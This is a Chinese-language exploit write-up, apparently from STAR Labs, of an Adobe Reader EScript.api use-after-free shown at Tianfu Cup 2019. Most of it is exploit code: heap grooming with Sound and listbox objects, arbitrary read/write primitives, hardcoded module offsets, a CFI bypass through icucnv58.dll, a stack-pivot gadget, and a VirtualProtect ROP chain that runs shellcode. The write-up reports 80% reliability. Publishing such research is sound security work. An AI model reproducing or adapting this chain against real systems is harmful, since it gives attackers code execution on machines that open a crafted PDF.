天府杯2019:Adobe Reader漏洞利用 | STAR Labs
漏洞分析
该漏洞位于EScript.api组件中,这是JS API调用的绑定层。首先创建Sound对象数组:
1
2
3
4
5
6
|
SOUND_SZ = 512
SOUNDS = Array(SOUND_SZ)
for(var i=0; i<512; i++) {
SOUNDS[i] = this.getSound(i)
SOUNDS[i].toString()
}
|
Sound对象内存布局显示,第二个双字是指向JSObject的指针,包含元素、插槽、形状和字段等。关键发现是JSObject不在堆上,而是位于Adobe Reader启动时VirtualAlloc分配的内存区域,且释放后内容不会被清除。
任意读写原语构建
通过currentValueIndices
函数调用ESObjectCreateArrayFromESVals
创建新数组:
1
2
3
4
5
6
7
|
f = this.addField("f" , "listbox", 0, [0,0,0,0]);
t = Array(32)
for(var i=0; i<32; i++) t[i] = i
f.multipleSelection = 1
f.setItems(t)
f.currentValueIndices = t
for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices
|
利用释放的Sound对象和密集数组,通过TypedArray重新分配元素缓冲区,注入伪造的Javascript对象:
1
2
3
4
5
6
|
for(var i=0; i<NOBJ; i++) {
SOUNDS[i] = null
gc()
for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices
// 验证回收是否成功
}
|
通过伪造字符串对象和类型数组,建立任意读取和写入原语:
1
2
3
4
5
6
7
8
9
|
function myread(addr) {
DV.setUint32(4, addr, true)
return s2h(T[2])
}
function mywrite(addr, val) {
DV.setUint32(96, addr, true)
T[3][0] = val
}
|
获取代码执行
泄露EScript.API基地址,利用其中的VirtualAlloc调用gadget:
1
|
ESCRIPT_BASE = myread(WRITE_ARRAY_ADDR+12) - 0x02784D0
|
泄露AcroForm.API基地址和CTextField对象地址,通过堆遍历找到虚函数表:
1
|
ACROFORM_BASE = vftable-0x07A55BC
|
绕过CFI
由于CFI启用,无法使用ROP。发现icucnv58.dll未启用CFI:
1
2
3
|
import pefile
import os
# 遍历模块检查CFI状态
|
泄露icucnv58.dll基地址,利用其内部gadget进行栈转换和ROP:
1
2
|
ICU_BASE = myread(ACROFORM_BASE+0xBF2E2C)
g1 = ICU_BASE + 0x919d4 + 0x1000 // mov esp, ebx ; pop ebx ; ret
|
最终步骤
写入shellcode并调用VirtualProtect启用执行权限:
1
2
3
4
5
6
7
8
9
|
rop = [
myread(ESCRIPT_BASE + 0x01B0058), // VirtualProtect
GUESS+0x120, // 返回地址
GUESS+0x120, // 缓冲区
0x1000, // 大小
0x40, // 新保护
GUESS-0x20 // 旧保护
]
for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i]))
|
最终成功生成计算器进程,利用成功率达80%,平均耗时3-5秒。